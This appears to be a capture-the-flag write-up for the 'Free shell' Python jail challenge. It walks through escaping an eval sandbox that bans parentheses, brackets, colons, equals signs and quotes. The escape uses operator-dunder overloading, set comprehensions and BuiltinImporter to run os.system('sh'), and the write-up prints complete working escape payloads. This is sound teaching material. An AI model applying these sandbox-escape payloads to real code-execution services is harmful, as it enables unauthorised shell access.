Free shell
The task of this jail, as with any other jail in the
2025 jailCTF is to
ultimately read the flag, a string found in the
flag.txt file. Usually this involves somehow getting access
to a builtin like breakpoint or exec or
somehow importing os.system to break into the shell. The
code for this jail read as follows:
#!/usr/local/bin/python3
from os import system
def immutable(cls: type):
import ctypes
TP_FLAGS_OFFSET = 21 * tuple.__itemsize__
Py_TPFLAGS_IMMUTABLETYPE = 1 << 8
view = ctypes.cast(id(cls) + TP_FLAGS_OFFSET, ctypes.POINTER(ctypes.c_ulong))
view.contents.value |= Py_TPFLAGS_IMMUTABLETYPE
assert cls.__flags__ & Py_TPFLAGS_IMMUTABLETYPE != 0
return cls
@immutable
class SafeBuiltins[system]:
__slots__ = ()
__freebie__ = "What's a red herring?"
BANNED = "()[]:='\""
code = input("code: ")
for c in code:
if c in BANNED:
print("nope", repr(c))
exit(1)
eval(code, {'__builtins__': SafeBuiltins()}, {})
Analysis
When this script is run, we are prompted for the code to run, which
cannot contain any of the BANNED characters. Then, it is
run, with the __builtins__ set to
SafeBuiltins. This means that we won't have access to built
in functions like breakpoint or exec
which could be used to break out easily. This character set restricts
heavily what we can do, meaning it will be hard to even call a function!
If you're anything like me, you didn't even know that
SafeBuiltins[system] was valid syntax. Shouldn't that be
SafeBuiltins(system), to define a subclass? This is
actually the
type parameter syntax, new in python 3.12. So is this a free shell that we can just grab
from the evaluation context?
>>> __builtins__.__class__
<class '__main__.SafeBuiltins'>
>>> __builtins__.__class__.__parameters__[0]
system
>>> #yipeee!
>>> __builtins__.__class__.__parameters__[0]('sh')
Traceback (most recent call last):
File "<string>", line 1, in <module>
__builtins__.__class__.__parameters__[0]('sh')
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
TypeError: 'typing.TypeVar' object is not callable
>>> #uh oh...
It turns out the system was actually just a type variable,
not the system variable imported from os. So
what now? A common formula used when we don't have access to any
builtins is
().__class__.__mro__[1].__subclasses__()[122].load_module("os").system("sh"), which you can find in places like the
pyjail cheatsheet. It works by first accessing all of the subclasses of object, of which
there are a lot! This is because every single class in python implictly
subclasses object. The 122nd one happens to be
_frozen_importlib.BuiltinImporter (as of the version used
in the jail, 3.13.5), which we can then use to import the os class and
call system. Right now, this doesn't work because of our
banned characters, ()[]"" so we have to find a way to
circumvent these restrictions.
Simplifying the problem
At this point I started looking at what would happen if we simplified
the problem, removing restrictions until we can solve it. We already
have a solution above which would work if there were no banned
characters. What happens if we mess with the SafeBuiltins
class?
- @immutable
class SafeBuiltins[system]:
- __slots__ = ()
__freebie__ = "What's a red herring?"
Simplifying the problem in this way, we can actually make some progress!
The key part thing to notice is that we can use the built in python
operators as a proxy to call functions. This is because
A + B is internally evaluated as
type(A).__add__(A, B). If we can control
type(A).__add__, we can control what functions are run!
Removing @immutable and __slots__ = () allows
us to modify the SafeBuiltins class on the fly.
B = __builtins__ # for clarity
SafeBuiltins = B.__class__
object = [].__class__.__base__
SafeBuiltins.__neg__ = object.__subclasses__
subclasses = -B
SafeBuiltins.__add__ = subclasses.__getitem__
loader = B + 122
SafeBuiltins.__add__ = loader.load_module
os = B + "os"
SafeBuiltins.__add__ = os.system
B + "sh"
We've solved the jail for a much simpler version of the problem we
actually need to solve, avoiding the use of parentheses by using these
__add__ and __neg__ dunder methods to call
functions for us. Now the main problem is the rest of the banned
characters, and the fact that the code is run in an
eval context, meaning we can't actually use assignment and
the equals operator.
Generally, we can avoid = by using list comprehension
targets.
# these two lines of code do the same thing
a = b
[... for a in [b]]
# and these two
a.b = c
[... for a.b in [c]]
We can rewrite our code line by line to use list comprehensions instead
of assigning directly. This also takes care of the problem of
eval, since a list comprehension can be executed in an eval
context.
[
B + "sh"
for B in [__builtins__]
for SafeBuiltins in [B.__class__]
for SafeBuiltins.__neg__ in [[].__class__.__base__.__subclasses__]
for subclasses in [-B]
for SafeBuiltins.__add__ in [subclasses.__getitem__]
for loader in [B + 122]
for SafeBuiltins.__add__ in [loader.load_module]
for os in [B + "os"]
for SafeBuiltins.__add__ in [os.system]
]
We're making progress! Of the banned characters, we're using only
[]". Getting rid of brackets should be easy, we can change
them into braces, turning the list comprehensions into set
comprehensions. The singletons also just turn into sets with one
element.
Not so fast: it's so close to working. But we run into a single
error. The problem is in the 5th line of code: {-B}.
Reminder: at this point -B is equal to
object.__subclasses__(), which is a list. However, a list
is not hashable, so python complains about putting one in a set. This
problem took an embarrassing amount of time for me to solve before I
realized that we could simply use the operator trick to call
tuple on the subclasses, making it a hashable type.
{
B + "sh"
for B in {__builtins__}
for SafeBuiltins in {B.__class__}
for SafeBuiltins.__neg__ in {{}.__class__.__base__.__subclasses__}
for tuple in {B.__slots__.__class__}
for SafeBuiltins.__add__ in {tuple}
for subclasses in {B+-B}
for SafeBuiltins.__add__ in {subclasses.__getitem__}
for loader in {B + 122}
for SafeBuiltins.__add__ in {loader.load_module}
for os in {B + "os"}
for SafeBuiltins.__add__ in {os.system}
}
We're so close! To avoid the strings is also a bit annoying, but not too
hard: we can simply find a string that includes all of the characters we
need, then just index into it. {}.__doc__ works perfectly.
{
...
for SafeBuiltins.__mul__ in {{}.__doc__.__getitem__}
for s in {B*97}
for h in {B*280}
for o in {B*25}
for sh in {s+h}
for os in {o+s}
...
}
Full problem
Now we've solved the simplified version of this problem. Even before got
to this solved version, we were confident that had the builtins class
been mutable, we could've gotten to this point. But now what? What do we
do when we reintroduce back the @immutable and
__slots__? It's a common theme for this object to be
something like quit (for example in the cheesed impossible
problem, or used for
radiation hardening).
Exploring around a bit with dir, we found a an object that
fit the bill. Not only did it itself have to be mutable, but it's
__class__ as well. This turns out to be
SafeBuiltins.__orig_bases__[0], of type
typing.Generic. Replacing SafeBuiltins
with the class we just found, we get the final solution:
{
W+sh
for W in __builtins__.__class__.__orig_bases__
for W.__class__.__mul__ in {{}.__doc__.__getitem__}
for s in {W*97}
for h in {W*280}
for o in {W*25}
for sh in {s+h}
for os in {o+s}
for O in {{}.__class__.__base__}
for T in {__builtins__.__slots__.__class__}
for W.__class__.__add__ in {T}
for W.__class__.__neg__ in {O.__subclasses__}
for subclasses in {W+-W}
for W.__class__.__add__ in {subclasses.__getitem__}
for loader in {W+122}
for loader in {loader.load_module}
for W.__class__.__add__ in {loader.__call__}
for module in {W+os} for W.__class__.__add__ in {module.system}
}
Running the script, then cat flag.txt reveals the flag.
jail{who_uses_setcomps_ever?_c21b2ee0b71}
In the competition, this problem was solved by 3 other teams, making it
one of the harder problems. If you're wondering about
__freebie__, ultimately it was just a red herring :P